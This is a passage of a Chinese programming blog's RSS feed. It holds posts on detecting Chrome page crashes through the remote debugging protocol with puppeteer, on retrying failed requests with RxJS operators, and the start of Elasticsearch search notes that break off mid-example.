</content:encoded><category>javascript</category><category>webm</category><category>ffmpeg</category><category>chrome</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>通过 Webkit 远程调试协议监听网页崩溃</title><link>https://bugs.cc/zh/posts/webkit-remote-debugging-protocol-listening-crash/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/webkit-remote-debugging-protocol-listening-crash/</guid><description>基于 chrome remote interface 来检测网页是否 Crash</description><pubDate>Mon, 22 Apr 2019 07:51:25 GMT</pubDate><content:encoded>&lt;h2&gt;背景介绍 {#intro}&lt;/h2&gt;
&lt;p&gt;因为正在开发一个项目，而这个项目使用到了 &lt;code&gt;puppeteer&lt;/code&gt;，其中有个功能是在 &lt;code&gt;puppeteer&lt;/code&gt; 打开的 chrome 里打开多个 &lt;code&gt;Tab&lt;/code&gt;，并进行管理。
虽然 &lt;code&gt;puppeteer&lt;/code&gt; 可以打开多个网站，但是并不利于管理，所有我使用的是插件的方式，通过插件来打开多网站，并进行管理。&lt;/p&gt;
&lt;p&gt;但是这里有个需求是，当网站崩溃时，我要做出一些操作。但是目前网上没有一个好的办法去监听当前网站是否崩溃。&lt;/p&gt;
&lt;p&gt;可能有同学会说: &lt;code&gt;puppeteer&lt;/code&gt; 不是提供了一个 &lt;code&gt;page.on(&apos;error&apos;, fn)&lt;/code&gt; 的方法，来进行监听么？&lt;/p&gt;
&lt;p&gt;请注意上文中提到的，使用插件打开多个网站，&lt;code&gt;puppeteer&lt;/code&gt; 提供的方法只能对自己打开的网站起作用，没有使用 &lt;code&gt;puppeteer&lt;/code&gt; 打开的网站，&lt;code&gt;page.on(&apos;error&apos;, fn)&lt;/code&gt; 方法无能为力。&lt;/p&gt;
&lt;h2&gt;使用 Service Workers {#service-workers}&lt;/h2&gt;
&lt;p&gt;这个方法是由我同事 &lt;a href=&quot;https://github.com/liubiantao&quot;&gt;Haitao&lt;/a&gt; 提出来的思路。&lt;/p&gt;
&lt;p&gt;在当前网站上运行一个 &lt;code&gt;Service Workers&lt;/code&gt;，因为在运行的时候 &lt;code&gt;Service Workers&lt;/code&gt; 会再启动一个单独的进程，当前网站和 &lt;code&gt;Service Workers&lt;/code&gt; 是两个单独的进程。也就是说当网站崩溃时，并不影响 &lt;code&gt;Service Workers&lt;/code&gt; 进程。所以可通过&lt;code&gt;心跳检测&lt;/code&gt;来进行判断网站是否崩溃。&lt;/p&gt;
&lt;p&gt;网上也有阿里的同学写的相关文章: &lt;a href=&quot;https://zhuanlan.zhihu.com/p/40273861&quot;&gt;如何监控网页崩溃？&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是我并没有使用这个方式，因为当 &lt;code&gt;Service Workers&lt;/code&gt; 崩溃了，那就没有任何办法了，可能有同学会说: 网站和 &lt;code&gt;Service Workers&lt;/code&gt; 互相发&lt;code&gt;心跳检测&lt;/code&gt;。这可能是一种办法，但是我不太喜欢这种方式。&lt;/p&gt;
&lt;h2&gt;使用 Webkit 的远程调试协议 {#remote-debugging}&lt;/h2&gt;
&lt;h3&gt;介绍 {#remote-debugging-intro}&lt;/h3&gt;
&lt;p&gt;在开始前，我们先去看下 &lt;code&gt;puppeteer&lt;/code&gt; 的源码，为什么 &lt;code&gt;puppeteer&lt;/code&gt; 可以监听到网页的崩溃。&lt;/p&gt;
&lt;p&gt;其代码在 &lt;code&gt;lib/Page.js&lt;/code&gt; 文件里。&lt;/p&gt;
&lt;p&gt;首先可以看到 Page 是一个 &lt;code&gt;Class&lt;/code&gt;，其继承了 &lt;code&gt;EventEmitter&lt;/code&gt;，&lt;code&gt;EventEmitter&lt;/code&gt; 为 &lt;code&gt;page&lt;/code&gt; 提供了 &lt;code&gt;on&lt;/code&gt; 方法，也就是我们之前看到的: &lt;code&gt;page.on(&apos;error&apos;, fn)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;从这里就可知，在 &lt;code&gt;Page Class&lt;/code&gt; 里，有地方调用了 &lt;code&gt;this.emit(&apos;error&apos;)&lt;/code&gt; 来触发 &lt;code&gt;error event&lt;/code&gt;。搜了一下，发现其代码在 &lt;code&gt;_onTargetCrashed&lt;/code&gt; 方法里。如:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/puppeteer-ontargetcrashed.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;触发 &lt;code&gt;crash&lt;/code&gt; 的方法，我们找到了。那这个 &lt;code&gt;_onTargetCrashed&lt;/code&gt; 又是在哪触发的呢？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/inspector-targetcrashed-listener.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可见，是一个叫 &lt;code&gt;client&lt;/code&gt; 的方法监听到了 &lt;code&gt;Inspector.targetCrashed&lt;/code&gt; 事件，而这个事件触发了 &lt;code&gt;_onTargetCrashed&lt;/code&gt; 函数，&lt;code&gt;clinet&lt;/code&gt; 方法就不再跟了，因为跳地方较多，只需要知道，最终 &lt;code&gt;client&lt;/code&gt; 是一个 &lt;code&gt;websocket&lt;/code&gt; 的产物。而 &lt;code&gt;websocket&lt;/code&gt; 创建的代码在 &lt;code&gt;lib/Launcher.js&lt;/code&gt; 里。&lt;a href=&quot;https://github.com/GoogleChrome/puppeteer/blob/19606a3b79/lib/Launcher.js#L169-L179&quot;&gt;代码位置&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/launcher-connection-create.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;注意这两行:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const transport = new PipeTransport((chromeProcess.stdio[3]), (chromeProcess.stdio[4]));

connection = new Connection(&apos;&apos;, transport, slowMo);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;chromeProcess&lt;/code&gt; 是 &lt;code&gt;nodejs&lt;/code&gt; 中的 &lt;code&gt;spawn&lt;/code&gt; 产物，代码为:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/GoogleChrome/puppeteer/blob/19606a3b79/lib/Launcher.js#L126-L137&quot;&gt;代码位置&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const chromeProcess = childProcess.spawn(
  chromeExecutable,
  chromeArguments,
  {
    detached: process.platform !== &apos;win32&apos;,
    env,
    stdio
  }
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;chromeArguments&lt;/code&gt; 是 &lt;code&gt;chrome&lt;/code&gt; 启动的参数列表，此列表是有一个 &lt;code&gt;--remote-debugging-&lt;/code&gt; 的:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/GoogleChrome/puppeteer/blob/19606a3b79/lib/Launcher.js#L108-L109&quot;&gt;代码位置&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if (!chromeArguments.some(argument =&amp;gt; argument.startsWith(&apos;--remote-debugging-&apos;)))
  chromeArguments.push(pipe ? &apos;--remote-debugging-pipe&apos; : &apos;--remote-debugging-port=0&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在就明朗多了，&lt;code&gt;Inspector.targetCrashed&lt;/code&gt; 这个事件，是由 &lt;code&gt;Webkit远程调试协议&lt;/code&gt; 也就是 &lt;code&gt;remote debugging protocol&lt;/code&gt; 提供的。&lt;/p&gt;
&lt;p&gt;其定义在 webkit 的 &lt;code&gt;Inspector.json&lt;/code&gt; 里: &lt;a href=&quot;https://github.com/WebKit/webkit/blob/255ba17d1d7e0ad1530d503f28ee5d93d7c5351e/Source/WebCore/inspector/Inspector.json#L39-L42&quot;&gt;Source/WebCore/inspector/Inspector.json#L39-L42&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;关于这个 &lt;code&gt;event&lt;/code&gt; 的 commit url 为: &lt;a href=&quot;https://github.com/WebKit/webkit/commit/255ba17d1d7e0ad1530d503f28ee5d93d7c5351e#diff-4681ce2c9384e770dfac03ab133f133b&quot;&gt;https://github.com/WebKit/webkit/commit/255ba17d1d7e0ad1530d503f28ee5d93d7c5351e#diff-4681ce2c9384e770dfac03ab133f133b&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;编写解决方案代码 {#solution-code}&lt;/h3&gt;
&lt;p&gt;现在我们知道了，只要能监听到 &lt;code&gt;Inspector.targetCrashed&lt;/code&gt; 事件，就可以知道网站是否关闭了。我们先在 &lt;code&gt;puppeteer&lt;/code&gt; 的启动参数里，增加一行启动参数:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;puppeteer.launch({
  args: [
    &apos;--remote-debugging-port=9222&apos;
    // other args
  ]
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当 &lt;code&gt;puppeteer&lt;/code&gt; 启动时，会监听本地的 &lt;code&gt;9222&lt;/code&gt; 端口，其中路径 &lt;code&gt;/json&lt;/code&gt; 为当前的详情。如:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/devtools-json-endpoint.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;其格式为:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;[
  {
    &quot;description&quot;: &quot;&quot;,
    &quot;devtoolsFrontendUrl&quot;: &quot;/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/A1CB5A9CC25A7EE8A99C6A4A1876E4D3&quot;,
    &quot;faviconUrl&quot;: &quot;https://s.ytimg.com/yts/img/favicon_32-vflOogEID.png&quot;,
    &quot;id&quot;: &quot;A1CB5A9CC25A7EE8A99C6A4A1876E4D3&quot;,
    &quot;title&quot;: &quot;張三李四 Chang and Lee 【等無此人 Waiting】 - YouTube&quot;,
    &quot;type&quot;: &quot;page&quot;,
    &quot;url&quot;: &quot;https://www.youtube.com/watch?v=lAcUGvpRkig&amp;amp;list=PL3p0C_7POnMHG-b0dzkeTVdNuM6yRE5iQ&amp;amp;index=10&amp;amp;t=0s&quot;,
    &quot;webSocketDebuggerUrl&quot;: &quot;ws://127.0.0.1:9222/devtools/page/A1CB5A9CC25A7EE8A99C6A4A1876E4D3&quot;
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中的 &lt;code&gt;type&lt;/code&gt; 为当前进程的详情:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;page: 网页&lt;/li&gt;
&lt;li&gt;iframe: 网页嵌套的 iframe&lt;/li&gt;
&lt;li&gt;background_page: 插件页面&lt;/li&gt;
&lt;li&gt;service_worker: Service Workers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个 type 的作用在于，你只想监听某一类型的崩溃。&lt;/p&gt;
&lt;p&gt;还有一个更主要的字段: &lt;code&gt;webSocketDebuggerUrl&lt;/code&gt;。我们将使用这个字段的值，来进行获取消息。有一个简单的 demo:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const http =  require(&apos;http&apos;);
const WebSocket = require(&apos;ws&apos;);

http.get(&apos;http://127.0.0.1:9222/json&apos;, res =&amp;gt; {
  res.addListener(&apos;data&apos;, data =&amp;gt; {
    const result = JSON.parse(data.toString());
    result.forEach(info =&amp;gt; {
      const client = new WebSocket(info.webSocketDebuggerUrl);
      client.on(&apos;message&apos;, data =&amp;gt; {
        if (data.indexOf(&apos;&quot;method&quot;:&quot;Inspector.targetCrashed&quot;&apos;) !== -1) {
          console.error(&apos;crash!&apos;);
        }
      });
    });
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先看懂这段代码，后面的代码才好理解，因为代码过于简单，这里就不再介绍了。&lt;/p&gt;
&lt;p&gt;这段代码有个问题是，插件打开网站时，会存在一定的延迟，可能会导致某些网站没有被监听到，而且当这段代码运行后，插件再打开网站时，也不会监听到。针对这个问题，优化了下代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const http =  require(&apos;http&apos;);
const WebSocket = require(&apos;ws&apos;);

module.exports = () =&amp;gt; {
  const wsList = {};
  let crashStaus = false;

  const getWsList = () =&amp;gt; {
    return new Promise((resolve) =&amp;gt; {
      http.get(&apos;http://127.0.0.1:9222/json&apos;, res =&amp;gt; {
        res.addListener(&apos;data&apos;, data =&amp;gt; {
          try {
            const result = JSON.parse(data.toString());
            const tempWsList = {};

            result.forEach(info =&amp;gt; {
              if (typeof wsList[info.id] === &apos;undefined&apos;) {
                tempWsList[info.id] = info.webSocketDebuggerUrl;
                wsList[info.id] = info.webSocketDebuggerUrl;
              }
            });

            if (Object.keys(tempWsList).length !== 0) {
              resolve(tempWsList);
            }
          } catch (e) {
            console.error(e);
          }
        });
      });
    });
  };

  setInterval(() =&amp;gt; {
    getWsList().then(list =&amp;gt; {
      Object.values(list).forEach(wsUrl =&amp;gt; {
        const client = new WebSocket(wsUrl);
        client.on(&apos;message&apos;, data =&amp;gt; {
          if (data.indexOf(&apos;&quot;method&quot;:&quot;Inspector.targetCrashed&quot;&apos;) !== -1) {
            if (!crashStaus) {
              crashStaus = true;
              console.log(&apos;crash!!!&apos;);
            }
          }
        });
      })
    });
  }, 1000);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中需要说明一下这段代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if (!crashStaus) {
  crashStaus = true;
  console.log(&apos;crash!!!&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为我的需求是，任何一个进程 &lt;code&gt;crash&lt;/code&gt; 了，就关闭整个服务，重新运行。所以如果有多个进程同时 &lt;code&gt;crash&lt;/code&gt; 了。我的代码只走一次，不想让他走多次。这个是针对我这里的需求，各位同学可以根据自己的需求更改代码。&lt;/p&gt;
&lt;h2&gt;参考 {#references}&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://taobaofed.org/blog/2015/11/20/webkit-remote-debug-test/&quot;&gt;Webkit 远程调试协议初探&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://fex.baidu.com/blog/2014/06/remote-debugging-protocol/&quot;&gt;Chrome 远程调试协议分析与实战&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><category>javascript</category><category>nodejs</category><category>webkit</category><category>puppeteer</category><category>chrome</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>聊聊 RxJS 中的错误重试</title><link>https://bugs.cc/zh/posts/rxjs-error-retry/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/rxjs-error-retry/</guid><description>使用 RxJS 操作符对请求进行错误重试</description><pubDate>Sat, 12 Jan 2019 10:52:05 GMT</pubDate><content:encoded>&lt;h2&gt;前言 {#intro}&lt;/h2&gt;
&lt;p&gt;最近工作中有一个需求是: 如果这个请求超时，则进行重试，且重试次数可配置。&lt;/p&gt;
&lt;p&gt;首先我们发请求使用的库为: &lt;code&gt;Axios&lt;/code&gt;，其处理请求的位置，是在 &lt;code&gt;redux-observable&lt;/code&gt; 中的 &lt;code&gt;epic&lt;/code&gt; 里。&lt;/p&gt;
&lt;p&gt;那么如果要完成重试机制的话，有两种办法:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在对 &lt;code&gt;Axios&lt;/code&gt; 封装的函数里添加重试代码&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;epic&lt;/code&gt; 里，使用 &lt;code&gt;RxJS&lt;/code&gt; 操作符进行重试。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关于 &lt;code&gt;Axios&lt;/code&gt; 重试的，其实比较麻烦的，而且需要在原有封装好的函数里，继续添加重试代码，总感觉不太好。且维护起来也不太方便。于是那就使用 &lt;code&gt;RxJS&lt;/code&gt; 操作符进行重试吧。本文代码将不会套用项目代码，而是重新写一个 &lt;code&gt;Demo&lt;/code&gt;，方便理解。&lt;/p&gt;
&lt;h2&gt;RxJS 错误重试操作符 {#retry-operators}&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;RxJS&lt;/code&gt; 中，提供了两个操作符 &lt;code&gt;retry&lt;/code&gt; 和 &lt;code&gt;retryWhen&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;需要注意的是: 重试时，这两个操作符都会重试整个&lt;strong&gt;序列&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;且 &lt;code&gt;retry&lt;/code&gt; 和 &lt;code&gt;retryWhen&lt;/code&gt; 只捕获 &lt;code&gt;Error&lt;/code&gt;，但是对 &lt;code&gt;Promise&lt;/code&gt; 有点无能为，解决方案文中会说明。&lt;/p&gt;
&lt;h3&gt;retry&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;retry&lt;/code&gt; 操作符是用来指定重试次数，比如遇到错误了，将会重试 n 次。以下是 &lt;code&gt;Demo&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const source = Rx.Observable.interval(1000)

const example = source.map(val =&amp;gt; {
  if (val === 2) {
    throw Error(&apos;error&apos;);
  }
  return val;
}).retry(1)

example.subscribe({
  next: val =&amp;gt; console.log(val),
  error: val =&amp;gt; console.log(val.message)
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://jsbin.com/zixeqin/edit?js,console&quot;&gt;在线运行&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;上面的代码，会每隔 1 秒钟发出一次数字序列，当使用 &lt;code&gt;subscribe&lt;/code&gt; 订阅后，一秒钟后会发出 0，第二秒发出 1，以此类推。&lt;/p&gt;
&lt;p&gt;然后每次的数字序列都会到到达 &lt;code&gt;map&lt;/code&gt; 操作符里，在 &lt;code&gt;map&lt;/code&gt; 操作符中，我们可以看到当数字序列等于 2 时，则会抛出错误。不等于 2 时，则原封不动的返回，最终到达 &lt;code&gt;subscribe&lt;/code&gt; 中的 &lt;code&gt;next&lt;/code&gt; 函数。&lt;/p&gt;
&lt;p&gt;运行结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/rxjs-error-retry/retry-console.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;首先发出 0 和 1，没有问题，当 val 为 2 时，抛出错误。被 &lt;code&gt;retry&lt;/code&gt; 捕获到，重新走一遍整个 &lt;code&gt;RxJS&lt;/code&gt; 序列。于是会发现又发了一次 0 和 1，这个时候又到 2 了，于是继续报错，但是 &lt;code&gt;retry&lt;/code&gt; 的重试次数已经用完，则 &lt;code&gt;retry&lt;/code&gt; 就不会再管了，直接跳过。于是被 &lt;code&gt;subscribe&lt;/code&gt; 中的 &lt;code&gt;error&lt;/code&gt; 函数捕获到。打印出 &lt;code&gt;error&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;retryWhen&lt;/h3&gt;
&lt;p&gt;上面的 &lt;code&gt;retry&lt;/code&gt; 操作符，只能用来设置重试次数，我们有时想做成: 重试时，打印日志，或者其他操作。那么这个时候 &lt;code&gt;retry&lt;/code&gt; 就不太适合了。所以我们需要 &lt;code&gt;retryWhen&lt;/code&gt; 来操作。&lt;/p&gt;
&lt;p&gt;代码如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const source = Rx.Observable.interval(1000)

const example = source.map(val =&amp;gt; {
  if (val === 2) {
    throw Error(&apos;error&apos;)
  }
  return val;
}).retryWhen(err =&amp;gt; {
  return err
    .do(() =&amp;gt; console.log(&apos;正在重试&apos;))
    .delay(2000)
})

example.subscribe({
  next: val =&amp;gt; console.log(val),
  error: val =&amp;gt; console.log(val.message)
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://jsbin.com/zixeqin/10/edit?js,console&quot;&gt;在线运行&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;运行结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/rxjs-error-retry/retrywhen-delay-console.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;其发送逻辑和上面差不多，只是处理的时候不同了。&lt;/p&gt;
&lt;p&gt;我们使用 &lt;code&gt;retryWhen&lt;/code&gt; 操作符来控制重试的逻辑，我们先使用 &lt;code&gt;do&lt;/code&gt; 操作符，在控制台打印字符串，再使用 &lt;code&gt;delay&lt;/code&gt; 来延迟 2 秒进行重试。&lt;/p&gt;
&lt;p&gt;但是这里会一直重试，没有设置重试次数的地方，解决方案在下一章节。&lt;/p&gt;
&lt;h3&gt;retry + retryWhen&lt;/h3&gt;
&lt;p&gt;这个时候，我们发现 &lt;code&gt;retry&lt;/code&gt; 可以设置重试次数，&lt;code&gt;retryWhen&lt;/code&gt; 可以设置重试逻辑。&lt;/p&gt;
&lt;p&gt;但是我们想设置重试次数，又想设置重试逻辑，那应该怎么办呢？&lt;/p&gt;
&lt;p&gt;OK，先让我们看看 &lt;code&gt;retryWhen&lt;/code&gt; 操作符。这个操作符如果内部触发了 &lt;code&gt;Error&lt;/code&gt; 或者 &lt;code&gt;Completed&lt;/code&gt;，那么就会停止重试，将会把内部触发的 &lt;code&gt;Error&lt;/code&gt; 或者 &lt;code&gt;Completed&lt;/code&gt; 交给 &lt;code&gt;subscribe&lt;/code&gt; 的订阅操作符。可能这样说，比较麻烦，我们先上 &lt;code&gt;Demo&lt;/code&gt;，按照 &lt;code&gt;Demo&lt;/code&gt; 来说，会有助于理解:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const source = Rx.Observable.interval(1000)

const example = source.map(val =&amp;gt; {
  if (val === 2) {
    throw Error(&apos;error&apos;)
  }
  return val;
}).retryWhen(err =&amp;gt; {
  return err
    .scan((acc, curr) =&amp;gt; {
      if (acc &amp;gt; 2) {
        throw curr
      }
      return acc + 1
    }, 1)
})

example.subscribe({
  next: val =&amp;gt; console.log(val),
  error: val =&amp;gt; console.log(val.message)
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://jsbin.com/zixeqin/16/edit?js,console&quot;&gt;在线运行&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/rxjs-error-retry/retrywhen-scan-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发送逻辑没有变化，但是出现了新的操作符: &lt;code&gt;scan&lt;/code&gt;，那么这个操作符是做什么用的呢？&lt;/p&gt;
&lt;p&gt;可以把 &lt;code&gt;scan&lt;/code&gt; 理解为 &lt;code&gt;javascript&lt;/code&gt; 中的 &lt;code&gt;reduce&lt;/code&gt; 函数，这个操作符，具有两个参数，第一个是回调函数，第二个是默认值。就比如上面的代码，默认值是 1，acc 第一次是 1，第二次重试时，acc 就是 2，第三次重试时，acc 为 3，已经大于 2 了，那么 &lt;code&gt;if&lt;/code&gt; 表达式则会 true，直接使用 &lt;code&gt;throw&lt;/code&gt; 抛出 &lt;code&gt;curr&lt;/code&gt;，这里的 &lt;code&gt;curr&lt;/code&gt; 其实就是上面的错误原文。上文也说道了，如果在 &lt;code&gt;scan&lt;/code&gt; 内初触发了 &lt;code&gt;Error&lt;/code&gt; 则会停止重试，交给下面的 &lt;code&gt;subscribe&lt;/code&gt;，然后触发了订阅的 &lt;code&gt;error&lt;/code&gt; 函数，打印出 &lt;code&gt;error&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;其实满足重试次数后，把错误再抛出去，是比较正常的操作，让后面的操作符，对错误进行处理。但是可能有些人的业务需求是需要返回 &lt;code&gt;Completed&lt;/code&gt;，那么可以参考下面的代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const source = Rx.Observable.interval(200)

const example = source.map(val =&amp;gt; {
  if (val === 2) {
    throw Error(&apos;error&apos;)
  }
  return val;
}).retryWhen(err =&amp;gt; {
  return err
    .scan((acc, curr) =&amp;gt; {
      return acc + 1
    }, 0)
    .takeWhile(v =&amp;gt; v &amp;lt;= 2)
})

example.subscribe({
  complete: () =&amp;gt; console.log(&apos;Completed&apos;),
  next: val =&amp;gt; console.log(val),
  error: val =&amp;gt; console.log(val.message)
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://jsbin.com/zixeqin/17/edit?js,console&quot;&gt;在线运行&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;运行结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/rxjs-error-retry/retrywhen-takewhile-completed.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到使用了一个新的操作符 &lt;code&gt;takeWhile&lt;/code&gt;。这个操作符接受一个函数，如果这个函数返回了 &lt;code&gt;true&lt;/code&gt;，则继续把值交给下面的操作符，一旦函数返回 &lt;code&gt;false&lt;/code&gt;，则会触发 &lt;code&gt;subscribe&lt;/code&gt; 中的 &lt;code&gt;complete&lt;/code&gt;，也就是说这个序列已经完成。这样看的话，你就明白上面的代码的意图了。&lt;/p&gt;
&lt;h2&gt;解决 Promise 问题 {#promise-retry}&lt;/h2&gt;
&lt;p&gt;上文也说了 &lt;code&gt;retry&lt;/code&gt; 和 &lt;code&gt;retryWhen&lt;/code&gt; 是不支持 &lt;code&gt;Promise.reject()&lt;/code&gt; 的，其实这里的表达不太准确，应该说是 &lt;strong&gt;Promise 没有重试的 API&lt;/strong&gt;，当重试的时候 &lt;code&gt;Promise&lt;/code&gt; 已经在运行中了，所以无法再次调用该方法。也就造成了 &lt;code&gt;retry&lt;/code&gt; 和 &lt;code&gt;retryWhen&lt;/code&gt; 不能对 &lt;code&gt;Promise&lt;/code&gt; 进行重试。那么解决方案也很简单了。&lt;/p&gt;
&lt;p&gt;我们可以使用 &lt;code&gt;defer&lt;/code&gt; 操作符，现在来简单说明下这个操作符的用处。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;defer&lt;/code&gt; 接受一个函数参数，其函数不会运行，只有你使用 &lt;code&gt;subscribe&lt;/code&gt; 去订阅的时候，才会去运行函数。并且运行函数，都是在独立的运行空间内，也就说，即使我们使用 &lt;code&gt;Promise&lt;/code&gt;，也不会造成无法重试的情况，因为它不是复用之前的结果，而是重新开启一个新的内存空间，去运行函数，返回函数结果。&lt;/p&gt;
&lt;p&gt;那么我们就可以把代码写成下面这样:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const getInfo: AxiosPromise = axios.get(&apos;http://xxx.com&apos;)
const exp = defer(() =&amp;gt; getInfo)
  .retryWhen(err =&amp;gt; {
    return err.scan((acc, curr) =&amp;gt; {
      if (acc &amp;gt; 2) {
        throw curr
      }

      return acc + 1
    }, 1)
  })

example.subscribe({
  next: val =&amp;gt; console.log(val),
  error: val =&amp;gt; console.log(val.message)
});
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><category>rxjs</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>读书笔记: 从 Lucene 到 Elasticsearch: 全文检索实战</title><link>https://bugs.cc/zh/posts/reading-notes-from-lucene-to-elasticsearch-full-text-search/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/reading-notes-from-lucene-to-elasticsearch-full-text-search/</guid><description>笔记只有 Elasticsearch 搜索部分</description><pubDate>Sun, 30 Dec 2018 14:52:05 GMT</pubDate><content:encoded>&lt;h2&gt;从 Lucene 到 Elasticsearch: 全文检索实战 {#lucene-to-elasticsearch}&lt;/h2&gt;
&lt;p&gt;当前的笔记只介绍 &lt;code&gt;Elasticsearch&lt;/code&gt; 的搜索部分。&lt;/p&gt;
&lt;p&gt;文章中的搜索都是在 &lt;code&gt;kibana&lt;/code&gt; 的 &lt;code&gt;Dev tools&lt;/code&gt; 进行查询的。&lt;/p&gt;
&lt;h3&gt;准备工作 {#preparation}&lt;/h3&gt;
&lt;p&gt;需要安装 &lt;code&gt;Elasticsearch&lt;/code&gt;、&lt;code&gt;kibana&lt;/code&gt;、&lt;code&gt;elasticsearch-analysis-ik&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;具体的安装方式，这里就不再阐述了。（安装完，记得重启 &lt;code&gt;Elasticsearch&lt;/code&gt; ）&lt;/p&gt;
&lt;p&gt;重启完成后，打开 &lt;code&gt;kibana&lt;/code&gt; 的 &lt;code&gt;Dev tools&lt;/code&gt;，输入下面的 DSL 代码，并运行:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;PUT books
{
  &quot;settings&quot;: {
    &quot;number_of_replicas&quot;: 1,
    &quot;number_of_shards&quot;: 3
  },
  &quot;mappings&quot;: {
    &quot;IT&quot;: {
      &quot;properties&quot;: {
        &quot;id&quot;: {
          &quot;type&quot;: &quot;long&quot;
        },
        &quot;title&quot;: {
          &quot;type&quot;: &quot;text&quot;,
          &quot;analyzer&quot;: &quot;ik_max_word&quot;
        },
        &quot;language&quot;: {
          &quot;type&quot;: &quot;keyword&quot;
        },
        &quot;author&quot;: {
          &quot;type&quot;: &quot;keyword&quot;
        },
        &quot;price&quot;: {
          &quot;type&quot;: &quot;double&quot;
        },
        &quot;year&quot;: {
          &quot;type&quot;: &quot;date&quot;,
          &quot;format&quot;: &quot;yyyy-MM-dd&quot;
        },
        &quot;description&quot;: {
